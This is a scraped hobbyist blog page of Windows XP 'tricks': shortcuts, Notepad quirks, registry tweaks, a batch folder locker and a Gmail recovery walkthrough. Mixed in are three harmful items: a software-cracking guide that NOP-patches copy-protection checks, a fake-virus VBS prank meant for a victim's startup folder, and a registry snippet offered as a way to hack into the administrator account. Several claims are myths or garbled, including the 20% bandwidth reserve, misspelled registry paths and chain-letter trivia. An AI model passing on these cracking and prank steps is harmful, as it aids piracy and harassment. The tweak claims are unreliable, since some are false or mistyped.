folder.</div><div>For Example : C:/hidden/</div><div><br /></div><div>Now copy any image which is in JPEG format to the same folder above.</div><div>For Example logo.jpg</div><div><br /></div><div>Now Open MS-DOS</div><div>Start > Run type "cmd" without quotes.</div><div><br /></div><div><br /></div><div>In Dos window something like this should be written</div><div>"Microsoft Windows XP [Version 5.1.2600]</div><div>(C) Copyright 1985-2001 Microsoft Corp.</div><div>C:\Documents and Settings\Administrator>"</div><div><br /></div><div>to change it to C:/Hidden/</div><div>type "cd\" without quotes.</div><div>then type "cd hidden" without quotes.</div><div><br /></div><div>then type this</div><div>COPY /b logo.jpg + secret.rar output.jpg</div><div><br /></div><div>Now you will see a output.jpg in that "C:\Hidden\" folder.</div><div>Now only winrar can open it. </div><div><br /></div><div><span class="Apple-style-span" style="font-size:large;">INTERNET EXPLORER SHORTCUTS</span></div><div><br /></div><div><div>Internet Explorer Shortcuts</div><div>CTRL+A - Select all items on the current page</div><div>CTRL+D - Add the current page to your Favorites</div><div>CTRL+E - Open the Search bar</div><div>CTRL+F - Find on this page</div><div>CTRL+H - Open the History bar</div><div>CTRL+I - Open the Favorites bar</div><div>CTRL+N - Open a new window</div><div>CTRL+O - Go to a new location</div><div>CTRL+P - Print the current page or active frame</div><div>CTRL+S - Save the current page</div><div>CTRL+W - Close current browser window</div><div>CTRL+ENTER - Adds the http://www. (url) .com</div><div>SHIFT+CLICK - Open link in new window</div><div>BACKSPACE - Go to the previous page</div><div>ALT+HOME - Go to your Home page</div><div>HOME - Move to the beginning of a document</div><div>TAB - Move forward through items on a page</div><div>END - Move to the end of a document</div><div>ESC - Stop downloading a page</div><div>F11 - Toggle full-screen view</div><div>F5 - Refresh the current page</div><div>F4 - Display list of typed addresses</div><div>F6 - Change Address bar and page focus</div><div>ALT+RIGHT ARROW - Go to the next page</div><div>SHIFT+CTRL+TAB - Move back between frames</div><div>SHIFT+F10 - Display a shortcut menu for a link</div><div>SHIFT+TAB - Move back through the items on a page</div><div>CTRL+TAB - Move forward between frames</div><div>CTRL+C - Copy selected items to the clipboard</div><div>CTRL+V - Insert contents of the clipboard</div><div>ENTER - Activate a selected link</div><div>HOME - Move to the beginning of a document</div><div>END - Move to the end of a document</div><div>F1 - Display Internet Explorer Help</div><div><br /></div><div>YOUTUBE VIDEOS SEEK FASTER</div><div><br /></div><div>This is real guys i tried it and it worked for me.sure u give a try to it.</div><div>"past the word &amp;fmt=18# at the end of url should top up seeking<br /></div><div><br /></div><div><br /></div><div><span class="Apple-style-span" style="color: rgb(51, 51, 51);font-size:13;" ><div class="post hentry uncustomized-post-template" style="margin: 0.5em 0px 1.5em;"><div class="post-body entry-content" style="margin: 0px 0px 0.75em; background-image: url(http://www.blogblog.com/harbor/divider.gif); background-repeat: no-repeat; padding-top: 12px; line-height: 1.6em; background-position: 50% 0%;"><p align="center"><span style="color: rgb(0, 51, 0);"><span style="color: rgb(102, 0, 0);"><strong><span style="font-size:130%;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">YOU WON'T BELIEVE THIS!!!!!!!</span></span><br /><br /></strong></span><br />A PerSoN discovered that nobody can create a FOLDER anywhere on the computer which can be named as "CON"<br /><br />This is something pretty cool... &amp; unbelievable. ..<br />At Microsoft thewhole Team, including Bill Gates, couldn't answer why this happened!<br /><br />So, inform about this to all your friends.<br /><span style="color: rgb(102, 51, 51);">TRY IT NOW ,<br />IT WILL NOT<br /><br />CREATE " CON " FOLDER</span><br /><br /><br /><br /><br /><br /><strong><span style="font-size:130%;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">NOTEPAD...IT ISN'T JUST A PAD .FUN</span></span></strong><br /><br /><strong><span style=""><span class="Apple-style-span" style="color: rgb(51, 51, 51);">~!~!~!~ Trick#1 ~!~!~!~</span></span></strong><br /><br /><strong><span style="color: rgb(102, 0, 0);">1.</span></strong> Open a blank Notepad file<br /><span style="color: rgb(102, 0, 0);"><strong>2.</strong></span> Write .LOG as the first line of the file, followed by a enter. Save the file and close it.<br /><strong><span style="color: rgb(102, 0, 0);">3.</span></strong> Double-click the file to open it and notice that Notepad appends the current date and time to the end of the file and places the cursor on the line after.<br /><strong><span style="color: rgb(102, 0, 0);">4.</span></strong> Type your notes and then save and close the file.<br /><br /><span style="color: rgb(102, 51, 51);">After that open the file and see the changes.<br />by this trick u can also use ur notebook as a personal diary.<br /><br /></span><br /><span style=""><strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);">~!~!~!~ Trick#2 ~!~!~!~</span></strong></span><br /><br /><strong><span style="color: rgb(102, 0, 0);">1.</span></strong>open notepad<br /><strong><span style="color: rgb(102, 0, 0);">2.</span></strong> type "bush hid the facts"<br /><strong>3.</strong> save it and close it...<br /><strong><span style="color: rgb(102, 0, 0);">4</span></strong> then open it again........n see the changes...............<br /><br /><br /><br /><strong><span style=""><span class="Apple-style-span" style="color: rgb(51, 51, 51);">~!~!~!~ Trick#3 ~!~!~!~</span></span></strong><br /><br />Do you know the number of the flight that was used to attack the world Trade Centre????<br />The flight number was Q33N.<br /><br />Now, open your Notepad, type the number of the flight <span style="color: rgb(102, 51, 51);">(i.e. Q33N).<br /></span>Now click on format>font, increase the font size upto 72, and change the font style to 'wingdings'. Now see the ammmaaazzzing thing.<br /><br /><br /><strong><span style=""><span class="Apple-style-span" style="color: rgb(51, 51, 51);">~!~!~!~ Trick#4 ~!~!~!~</span></span></strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);"><br /></span><br />Over at WinCustomize, someone thought they'd found an Easter Egg in the Windows Notepad application. If you:<br /><strong><span style="color: rgb(102, 0, 0);">1.</span></strong> Open Notepad<br /><span style="color: rgb(102, 0, 0);"><strong>2.</strong></span> Type the text "this app can break" (without quotes)<br /><span style="color: rgb(102, 0, 0);"><strong>3.</strong></span> Save the file<br /><span style="color: rgb(102, 0, 0);"><strong>4.</strong></span> Re-open the file in Notepad<br /><br />Notepad displays seemingly-random Chinese characters, or boxes if your default Notepad font doesn't support those characters.<br /><br />t's not an Easter egg (even though it seems like a funny one), and as it turns out, Notepad writes the file correctly. It's only when Notepad reads the file back in that it seems to lose its mind.<br /><br /><br /><br /><br /><br /><br /><span style="font-size:130%;"><strong><span style=""><span class="Apple-style-span" style="color: rgb(51, 51, 51);">FOLDER MAGIC:</span></span></strong><br /></span><br />This one is for everyone!!!<br />Simply create a folder and give this name<br /><br /><span style="color: rgb(51, 0, 51);">"p.{FBF23B40-E3F0-101B-8488-00AA003E56F8}"</span><br /><br />don't copy the double quote only name in between<br /><br /><br /><span style="color: rgb(102, 51, 51);">See what u get<br />ts Magic!!!<br /></span><br /><br /><br /><br /><span style="font-size:130%;"><strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);">INVISIBLE FOLDER TRICK</span></strong></span><br /><br />yes...its true...presenting u the invisible folder trick...<br /><br />go onto ur desktop<br />Right click->Create a new folder->Rename it as:<br /><br />ALT + 0160 (i.e. pressing the ALT key type 0160 from ur numpad...mindwell making things clear only numpad... nothing else)<br /><br />The above character wud seem a space.Now press enter &amp; then right click-> Properties->customize->change icon->next look for a blank icon and select it.<br /><br />thats it...u have successfully created a invisible folder.<br />its not hidden one...so no1 can even find it.<br /><br />lz note this aint my trick...i have learnt it from somwhere else.<br /><br /><br /><br /><br /><br /><strong><span style="font-size:130%;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">FOLDER LOCK</span></span><br /></strong><br />Open Notepad and copy the below code and save as locker.bat. At first time start it will create folder with Locker automatically for u. Don't forget to change your password in the code its shown the place where to type your password.<br />after creation of Locker folder again click on the locker.bat.it will ask.press Y then Locker folder will be disappeared.again to get it click on locker.bat. and give ur password u will get the folder again.<br /><br /><br />cls<br /><span style=""><span class="Apple-style-span" style="color: rgb(51, 51, 51);">@ECHO OFF<br />title Folder Locker<br />if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK<br />if NOT EXIST Locker goto MDLOCKER<br />:CONFIRM<br />echo Are you sure u want to Lock the folder(Y/N)<br />set/p "cho=>"<br />if %cho%==Y goto LOCK<br />if %cho%==y goto LOCK<br />if %cho%==n goto END<br />if %cho%==N goto END<br />echo Invalid choice.<br />goto CONFIRM<br />:LOCK<br />ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"<br />attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"<br />echo Folder locked<br />goto End<br />:UNLOCK<br />echo Enter password to Unlock folder<br />set/p "pass=>"<br />if NOT %pass%==type your password here goto FAIL<br />attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"<br />ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker<br />echo Folder Unlocked successfully<br />goto End<br />:FAIL<br />echo Invalid password<br />goto end<br />:MDLOCKER<br />md Locker<br />echo Locker created successfully<br />goto End<br />End<br /></span></span><span class="Apple-style-span" style="color: rgb(51, 51, 51);"><br /></span><br /><br /><br /><strong><span style="color: rgb(102, 0, 0);"><span style="font-size:130%;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Increase ur netspeed upto 20%<br />Xp reserves 20% bandwith,</span></span><br /></span></strong>to unreserve it,follow following steps:<br /><br /><br />1. Click Start<br /><br />2. Run:"gpedit.msc"<br /><br />3. Goto:>Local Computer Policy<br />-------–>Computer Configuration<br />-------–>Administrative Templates<br />-------–>Network–>QOS Packet Scheduler<br />-------–>Limit Reservable Bandwidth<br /><br />4. Double click on Limit Reservable bandwidth<br /><br />5. Select Enable<br /><br />6. Change 20% to 0%<br /><br />7. Click Apply<br /><br />. Close! n be happy!<br /><br /><br /><br /><br /><br /><br /><span style="font-size:130%;"><strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Time Saving WinXp Key Shortcuts :</span></strong></span><br /><br /><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Windows key + D >> Shows the desktop.<br />Windows key + M >> Minimizes all open windows.<br />Windows key + Shift + M >> Maximizes all open windows.<br />Windows key + E >> Runs Windows Explorer.<br />Windows key + R >> Shows the RUN dialog.<br />Windows key + F >> Shows Search window.<br />Windows key + Break >> Shows System Properties box.<br />Windows key + TAB >> Go through taskbar applications.<br />ALT + SpaceBar + M >> Minimize Single Window.<br />ALT + F4 >> Close opend Application.<br />ALT + TAB >> Cycle through opened applications.<br />Lock Windows To Protect The Computer :<br /><br />>> Create a shortcut with the path rundll32.exeuser32.dll,LockWorkStation.<br />>> The Windows key + L is also a shortcut to this feature.<br /><br /></span><strong><span style="font-size:130%;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Access The Task Manager Easier :</span></span></strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);"><br /><br />>>You can make a shortcut that points to %windir%\system32\taskmgr.exe Use key combinations<br />trl+Shift+Esc<br /><br /><br /></span><strong><span style="font-size:130%;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">TURN ON UR PC IN JUST 10 SECONDS---For Advanced Users Only</span></span></strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);"><br /><br /><br /><br />Alright so u wanna know how to turn the PC on in 10 seconds (may vary)Aight heres what u have to do to turn ur pc on in 10 seconds<br /><br />Aite Click on the start button then press R it will take u to Run well go to run<br />n type Regedit<br />press enter<br />this will open Registery Editor<br />now look for the key<br /><br /></span><span style=""><span class="Apple-style-span" style="color: rgb(51, 51, 51);">HKEY_LOACAL_MECHINE\SYSTEM\CurrentControlSet\Control\ContentIndex</span></span><span class="Apple-style-span" style="color: rgb(51, 51, 51);"><br /><br />now there find the Key Called<br />"Startup Delay"<br />Double Click On It<br />Now where its Base<br />Click Decimal<br />Now its Default Value Is </span><span style=""><span class="Apple-style-span" style="color: rgb(51, 51, 51);">4800000</span></span><span class="Apple-style-span" style="color: rgb(51, 51, 51);"> (75300:hexadecimal)<br />Change The Value To</span><span style=""><span class="Apple-style-span" style="color: rgb(51, 51, 51);"> 40000</span></span><span class="Apple-style-span" style="color: rgb(51, 51, 51);"><br />here u go u have done it<br />ow close the Registery Editor and Restart Your Computer<br /><br /><br /><br /><br /><br /><br /><br /></span><strong><span style="font-size:130%;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Make ur own Harmless Virus :<br /></span></span></strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);"><br /><br /><br />Open notepad and type the code below:<br /><br />lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")<br /><br />Then save it as Virus.VBS<br /><br />and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.<br /><br />On startup the window should appear.<br /><br />Note: This does not harm your computer as it does not contain virus.<br /><br />The Yes and no button does not do anything except closing the window. And you can edit the virus in the sentence: Warning a virus has detected on your PC to any kind of virus eg.Trojan Horse like this lol=msgbox ("Warning a Trojan horse has been detected on your PC. Press YES to format your hard disk now or press NO to format format your hard disk after system reboot",20,"Warning")<br />ow hav fun !!<br /><br /></span><strong><span style="font-size:130%;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">How to crack any type of Software Protection<br />Softwares you need : - W32Dasm and HIEW<br /></span></span></strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);"><br />Identifying the protection : ====>>>><br />Run the program, game, etc., (SoftwareX) that you want to crack without the CD in the CD reader. SoftwareX will not run of course, however, when the error window pops up it will give you all of the vital information that you need to crack the program, so be sure to<br />write down what it says.<br /><br />Cracking the Protection : ====>>>><br />Now, run Win32Dasm. On the file menu open DISASSEMBLER > OPEN FILE TO DISASSEMBLE. Select SoftwareX’s executable file in the popup window that will appear (e.g. SoftwareX.exe). W32Dasm may take several minutes to disassemble the file.<br /><br />When W32Dasm finishes disassembling the file it will display unrecognizable text; this is what we want. Click on the String Data References button. Scroll through the String Data Items until you find SoftwareX’s error message. When you locate it, double click the<br />error message and then close the window to return to the Win32Dasm text. You will notice that you have been moved somewhere within the SoftwareX’s check routine; this is where the error message in generated.<br />Now comes the difficult part, so be careful. To crack SoftwareX’s protection you must know the @offset of every call and jump command. Write down every call and jump @offset number that you see (You have to be sure, that the OPBAR change its used color to green). You need the number behind the @offset without the “h.”<br /><br />Now open HIEW, locate SoftwareX’s executable, and press the F4 key. At this point a popup window will appear with 3 options: Text, Hex, and Decode. Click on “Decode” to see a list of numbers. Now press the F5 key and enter the number that was extracted using Win32Dasm. After you have entered the number you will be taken to SoftwareX’s check routine within HIEW.<br />o continue you must understand this paragraph. If the command that you are taken to is E92BF9BF74, for example, it means that the command equals 5 bytes. Every 2 digits equal one byte: E9-2B-F9-BF-74 => 10 digits => 5 bytes.<br /><br /><br /></span></span><span style="font-size:130%;"><strong>part 2</strong></span></p><p><span style=""></span></p><p><span style=""></span></p><p align="center"><br />If you understood this then you can continue.<br /><br />Press F3 (Edit), this will allow you to edit the 10 digits. Replace the 5 bytes with the digits 90. In other words, E92BF9BF74 will become 9090909090 (90-90-90-90-90). After you complete this step press the F10 key to exit.<br /><br />====>>>>>Congratulations! You just cracked SoftwareX!<<<<<=====</p><p align="center"><span style="font-size:130%;"><strong>Start movie in Paint!</strong></span></p><p align="center">* First start a movie in any player.</p><p align="center">* Then open Paint.</p><p align="center">* Now, in the player when the movie is being played, press "Print screen" button on your key board.</p><p align="center">* Now, Press ctrl+v in Paint</p><p align="center">* Leave the movie player open and don't minimize it. Open Paint now and see the movie in the Paint!</p><p align="center"><span style="font-size:130%;"><strong>Lock Drives:</strong></span></p><p align="center">if u want to lock all ur drives then do the following</p><p align="center">>goto run ->regedit</p><p align="center">>then gotothe following location<br />>[HKEY_LOCAL_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]<br />and make a new dword value namd NoViewOnDrives<br />nd set its value to<br />1 for A:<br />2 for B:<br />4 for c:<br />8 for D:<br />n decimal format<br />and set it to 03ffffff to lock all drives in hexadecimal format ...........<br />hnx for for remembering me<br /><br /><br /><br />OR<br /><br /><br /><br />goto<br /><br />run<br />type gpedit.msc<br />its short for group policy edit....<br />ow go to the<br />administrative templates (the lower most option)<br />now on left selsct option system<br />now find the option hide drives in my computer<br />d there u can do it more simply..........<br /><br /><br /><strong><span style="font-size:130%;">create undeleateable folder</span></strong><br /><br />Open command prompt.<br />change to the directory in which u want to make folder.<br />type<br />mkdir .\con\\<br />Or<br />Md .\con\\<br /><br />You can choose folder name from the name given below<br />CON<br />LPT1<br />LPT2<br />LPT3<br />LPT4<br />LPT5<br />LPT6<br />LPT7<br />LPT8<br />LPT9<br />AUX<br />-----------------------<br />Logic behind this is : IN Windows above names are researved words and you cann't create folder or file<br />with above name. Once you will create the folder nobody will be able to delete it in normal way.<br />have tested it with XP 2000 and 2003. Windows 98 is currently not available to me for testing.<br />If you can test it on Windows 98 then please do it and let me know the result. I expect it to work.<br /><br /><br /><br /><br />to create that folder u have typed<br />mkdir .\con\\<br />Or<br />Md .\con\\<br /><br />right......!<br /><br />now to remove that folder u have to type<br />rd .\con\\<br /><br />ok....!<br /><br /><br /><strong><span style="font-size:130%;">Automatic Administrator Login:</span></strong><br /><br /><br />Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.<br />REGEDIT 4<br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]<br />AutoAdminLogon"="1"<br /><br /><br /><strong><span style="font-size:130%;">Customize Logon prompt with your Name</span></strong> <span style=""><strong>:</strong></span><br /><br />pen Registry by going to Start then Run, entering regedit and Navigate to<br /><br /><span style="">HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon].</span><br /><br />n right pane, look for key by the name "LogonPrompt". Set its value to whatever text you want to see displayed at login screen<br /><br /><br /><strong><span style="font-size:130%;"><span style="">R emove the Shared Documents folders from My Computer</span><br /></span></strong><br />One of the most annoying things about the new Windows XP user interface is that Microsoft saw fit to provide links to all of the Shared Documents folders on your system, right at the top of the My Computer window. I can't imagine why this would be the default, even in a shared PC environment at home, but what's even more annoying is that you cannot change this behavior through the shell: Those icons are stuck there and you have to live with it.<br />Until now, that is.<br />Simply fire up the Registry Editor and navigate to the following key (To open the Registry Editor simply type 'regedit' on Run window): HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders<br />You'll see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this, all of the Shared Documents folders (which are normally under the group called "Other Files Stored on This Computer") will be gone.<br />You do not need to reboot your system to see the change.<br /><br /><br /><br /><strong><span style="font-size:130%;">S peed Up Windows XP by Keeping the OS mmry</span></strong><br /><br />One thing you can do to speed up Windows XP is to make sure that key operating system functions stay in memory. Memory (also called "RAM" for Random Access Memory) is much faster than the hard disk. Perform the following steps to boost your XP computer's performance:<br />Click the Start button. Click the Run command and type regedit in the Open text box. Click OK. As always, be very careful when editing the Registry. In the Registry Editor, go to the following registry key:HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management Right click the DisablePagingExecutive entry in the right pane of the Registry editor and click Modify. In the Edit DWORD Value dialog box, type the number "1" (without the quotes) in the Value data field. Click OK. Close the Registry Editor and restart the computer.<br /><br /><strong><span style="font-size:130%;">Speed Up Windows Vista</span></strong><br /><br />One very cool feature of Windows Vista – especially for machines not natively equipped with the kind of horsepower to fully enjoy the rich visuals of Windows Presentation Foundation (Avalon) applications is ReadyBoost. ReadyBoost enables you to plug a USB key into your machine and have Windows Vista use it as memory. I hadn’t actually used this myself, but had heard of it long ago. When a reader emailed me asking if this was an urban legend, I decided to check it out for myself and was very impressed with how easy and seamless the process is.<br />Installing/Configuring the USB Key as Memory<br />First I took a standard USB 2.0 key (I’ll list the prerequisites shortly) and plugged it into my machine. I’m running Windows Vista Beta 2, Build 5346, but I’m told that this works with the latest CTP made available to beta and TAP members as well as MSDN Subscribers. Upon plugging the USB key into my computer, I was greeted with the standard "AutoPlay" dialog box asking how I wanted to the operating system to treat the USB key. However, with ReadyBoost I get the additional option (circled below in the screen capture) of using the key to "speed up my system".<br />Once I click the "Speed up my system" option, the Properties dialog box for the device is displayed where I can specify to start/stop ReadyBoost usage of the device and how much space I want used as a memory cache. (Actually, according to one of the Product Specialists here, this space is used more as a flash-based page file than true RAM, but the impact is that the more space you choose here, the more benefit you’ll get in terms of overall system performance.)<br />(In order to return to this dialog box, open the Computer window, right-click the drive (F: in this case) and select Properties. From there, click the Memory tab (as shown in the previous screen capture and adjust the settings as needed).<br />For the inquisitive, opening the drive in an Explorer window reveals that ReadyBoost has created a cache file of the specified size.<br /><br /><br /><br /><br /><strong><span style="font-size:130%;">Shutdown ur pc faster or slower</span></strong><br /><br />1- start-->run-->regeditwhen u start run and then write regedit<br />2- +HKEY_LOCAL_MACHINE+SYSTEM+CurrentControlSetControl<br />left kick on control and u will find WaitToKillServiceTimeout.dobbel kick on WaitToKillServiceTimeout.in WaitToKillServiceTimeout its 20000 it means 20 secunds...if u want to shudown windos faster then get the numbers smaller, like 10000 or 5000 (10 sec or 5 sec) or if u want to shutdown longer writ 50000 (50sec)<br /><br /><br /><strong><span style="font-size:130%;">Restore Missing Windows Update Link</span></strong><br /><br />Microsoft has made available to all Windows users, a web site that provides Updates to its Operating Systems. By default, a link is provided in the Start Menu. If for some reason you have removed this link or it has just mysteriously disappeared, then here is a simple method to recover this link to your Start Menu: Here is the address to the Windows Update website: windowsupdate.Microsoft.com On the above link, point your mouse directly over the Windows Update link. While holding your mouse over the link, left-click the link and keep the left button depressed. While continuing to hold the left mouse button down, mouse over the Start Menu and wait a moment for the menu to expand. Once the menu has expanded vertically, continue holding down the left mouse button and mouse over the "All Programs" button. The All Programs menu will also expand. Once the All Programs menu has expanded, slide the mouse pointer up the programs menu until you have chosen a location within the menu for your link to reside (you should see a black horizontal line while you're moving your pointer around in the programs menu). Once you've chosen the location for your link, remove your finger from the left-click button and the link will now pop into place. You can right click the newly placed link and rename it "Windows Update" or just leave it as is. Now, you can left click the link again and hold the left click button depressed while sliding the mouse pointer into the Start Menu area (you should again see a black horizontal line while you're moving your pointer around in the Start Menu). Once you have chosen a location within the Start Menu for your link to reside, just lift your finger from the left-click button and again, the link will pop into place. Congrats! You've just added the Windows Update URL to your Start Menu.<br /><br /><br /><br /><br /><strong><span style="font-size:130%;">H OW TO DISPLY PENTIUM 5 OR EVEN MORE IN XP</span></strong><br /><br /><br /><br />HOW TO DISPLY PENTIUM 5 OR EVEN MORE IN XPNOW U CAN ABLE TO SHOW PENTIUM 5 AND EVEN MORE<br />I AM GIVING U THE TRICK BY WHICH YOU CAN NOW ABLE TO SHOW OR DISPLY EVEN PENTIUM 4 OR EVEN 5{EVEN U NOT HAVE THAT MUCH}AND PROCESSORVALUE UPTO 3.0 HRTZ OR MORE THAN THIS<br />TYPE "REGEDIT" IN RUN BOX {START->RUN->TYPE REGEDIT}NOW CLICK INH-KEY-LOCAL-MACHIN . THEN ON HARDWARE. THEN ON DISCRIPTION.THEN ON SYSTEM,THEN ONCentralProcessor.THEN ON 0{H-KEY-LOCAL-MACHIN/HARDWARE/DISCRIPTION/SYSTEM/CentralProcessor/0}NOW U GET IN RIGHT PANE THE VALUE THAT IS"ProcessorNameString"DOUBLE CLICK ON THIS VALUEVALUE NAME AND VALUE DATA IS NOW IN FROUNT OF U NOW IN DATA COLOM U CAN EDIT IT RANDOMLY WHAT U WANT IN PLACE OF THATVALUEAND THEN PRESS OK<br /><br />NOW SEE SYSTEM PROPERTY JUST RIGHT CLICKING IN U ARE MY COMPUTER ICON OR SEE SYSTEM PROPERTY</p><div style="clear: both;"></div></div><div class="post-footer" style="text-transform: uppercase; letter-spacing: 0.1em; line-height: 1.4em;font-size:78%;"><div class="post-footer-line post-footer-line-1"><br /><span class="post-icons"></span></div><div class="post-footer-line post-footer-line-2"><br /></div><div class="post-footer-line post-footer-line-3"></div></div></div><div class="post hentry uncustomized-post-template" style="margin: 0.5em 0px 1.5em;"><a name="6047060191519963395"></a><div class="post-body entry-content" style="margin: 0px 0px 0.75em; background-image: url(http://www.blogblog.com/harbor/divider.gif); background-repeat: no-repeat; padding-top: 12px; line-height: 1.6em; background-position: 50% 0%;"><div align="center"><span style="font-size:180%;"><strong>Get Back Ur Hacked GMAIL Or ORKUT Account:</strong></span></div><div align="left"><strong><span style="font-size:180%;"></span></strong></div><div align="center"></div><div align="center"><strong><span style="font-size:180%;"></span></strong></div><div align="center"></div><div align="center"><strong><span style="font-size:180%;"></span></strong></div><div align="center"><strong><span style="font-size:180%;"></span></strong></div><div align="center"><strong><span style="font-size:180%;"></span></strong></div><div align="center"><strong><span style="font-size:180%;"></span></strong></div><div align="center"><strong><span style="font-size:180%;"></span></strong></div><div align="left"><span style=""><strong><span style="font-size:130%;"></span></strong></span></div><div align="left"><span style=""><strong><span style="font-size:130%;"></span></strong></span></div><div align="left"><span style=""><strong><span style="font-size:130%;">1.</span> </strong><span style="">write</span><strong> <span style="">www.gmail.com</span></strong> <span style="">on ur adres bar.</span></span></div><div align="left"><span style=""></span></div><div align="left"><span style=""></span></div><div align="left"><span style=""></span></div><div align="left"><span style=""></span></div><div align="left"><span style=""></span></div><div align="left"><span style=""><strong><span style=""><span style="font-size:130%;"></span></span></strong></span></div><div align="left"><span style=""><strong><span style=""><span style="font-size:130%;"></span></span></strong></span></div><div align="left"><span style=""><strong><span style=""><span style="font-size:130%;">2.</span> </span></strong>u will find a blog where u entr ur user name n password fill it up and press sign in and then below that u will find a small link, written<span style=""> </span><span style=""><strong>( </strong></span><span style=""><strong>i cannot acces my acc.)</strong> <span style="">click on it.</span></span></span></div><div align="left"></div><div align="left"><span style=""></span></div><div align="left"></div><div align="left"><span style=""></span></div><div align="left"><strong><span style=""></span></strong></div><div align="left"><span style=""><span style=""><strong></strong></span></span></div><div align="left"><span style=""><span style=""><strong></strong></span></span></div><div align="left"><span style=""><span style=""><strong>3.</strong></span><span style="">u will get a page wriiten</span></span><span style=""><span style=""></span></span></div><p align="left"><span style="">"I cannot access my accountWe apologize for any inconvenience you're experiencing by not being able to access Gmail. To resolve this issue as quickly as possible, please follow the troubleshooting steps below. Following the instructions exactly will help ensure the best results.<br /><strong><span style="">What's preventing you from accessing Gmail?</span></strong><br /><span style="">1</span>. I forgot my password</span></p><p align="left"><span style=""><span style="">2.</span>I forgot my username</span></p><p align="left"><span style=""><span style="">3</span>.My account has been compromised or taken over</span></p><p align="left"><span style=""><span style="">4.</span> My password doesn't seem to be working 'Loading...' or 'This seems to be taking longer than usual' Another error or problem<br /><span style=""><span style="">Please fill out our</span><strong> account recovery form</strong> </span><span style="">to help us process your request as quickly as possible.</span></span></p><ul><li><span style="">TICK ON THE 3RD OPTION i.e <span style="">"My account has been compromised or taken over".</span></span></li><li><span style="">FILL OUT <span style="">account recovery form</span></span></li></ul><p><span style=""><strong><span style="font-size:130%;">4.</span></strong><span style="">now u will get another page written:</span></span></p><p><span style=""><span style=""><span style="">Contact Us<br /></span>If you’ve already tried to reset your password and you're still unable to access your Google Account,</span></span><span style=""><span style="">please select the products you use with the Google Account you're trying to access, so we can assist you.</span></span></p><p><span style=""><span style=""><strong><span style="">Do you use Google Apps with this account?</span></strong><span style=""></span></span></span></p><p><span style=""><span style=""><strong><span style="">.yes. no</span></strong></span></span></p><p><span style=""><span style="">Please select all that apply:</span></span></p><p><span style=""><span style=""><span style="">1.</span>AdWords</span></span></p><p><span style=""><span style=""><span style="">2.</span>Google Checkout (merchants)</span></span></p><p><span style=""><span style=""><span style="">3.</span>Google Checkout (buyers)</span></span></p><p><span style=""><span style=""><span style="">4.</span>None of the above</span></span></p><ul><li><span style=""><span style="">TICK ON<span style=""> "no"</span> OPTION.</span></span></li><li><span style=""><span style="">TICK ON 4RT OPTION i.e <span style="">None of the above</span></span></span></li></ul><span style=""><span style=""><p><span style=""><strong><span style="font-size:130%;">5.</span></strong><span style="">fill the form and</span><strong> </strong><span style=""><strong>sumbit it.</strong></span></span></p><p><span style=""><strong><span style="font-size:130%;">6.</span></strong><span style=""><span style="">now </span><strong>reset the password.</strong></span></span> N check ur SECONDRY EMAIL address which u have given at the time of signup to ur gmail acc.<br /></p><div align="center"><strong><span style="font-size:180%;"></span></strong></div><div style="clear: both;"></div></span></span></div><div class="post-footer" style="text-transform: uppercase; letter-spacing: 0.1em; line-height: 1.4em;font-size:78%;"><div class="post-footer-line post-footer-line-1"><br /><span class="post-icons"></span></div><div class="post-footer-line post-footer-line-2"><br /></div><div class="post-footer-line post-footer-line-3"></div></div></div><h2 class="date-header" style="margin: 2em 0px 0.5em; text-transform: uppercase; letter-spacing: 0.2em; font-family: Georgia,serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 78%; line-height: normal; font-size-adjust: none; font-stretch: normal;"><br /></h2><div class="post hentry uncustomized-post-template" style="margin: 0.5em 0px 1.5em;"><a name="4654073243631162322"></a><h3 class="post-title entry-title" style="margin: 0.25em 0px 0px; padding: 0px 0px 4px; font-size: 140%; font-weight: normal; line-height: 1.4em;"><br /></h3><div class="post-header-line-1"></div><div class="post-body entry-content" style="margin: 0px 0px 0.75em; background-image: url(http://www.blogblog.com/harbor/divider.gif); background-repeat: no-repeat; padding-top: 12px; line-height: 1.6em; background-position: 50% 0%;"><div align="center"><span style=""><span style=""><strong><span style="font-size:180%;">HIDE UR SECRET FILES AS IMAGE FILE:</span></strong><br /></span></span></div><p><span style="font-size:130%;"><span style=""><span style=""><strong>1.</strong></span> <span style="font-size:85%;">Gather all the files that you wish to hide in a folder anywhere in your PC (take exmple C:\hidden).</span></span></span></p><p><span style="font-size:85%;"></span></p><p><span 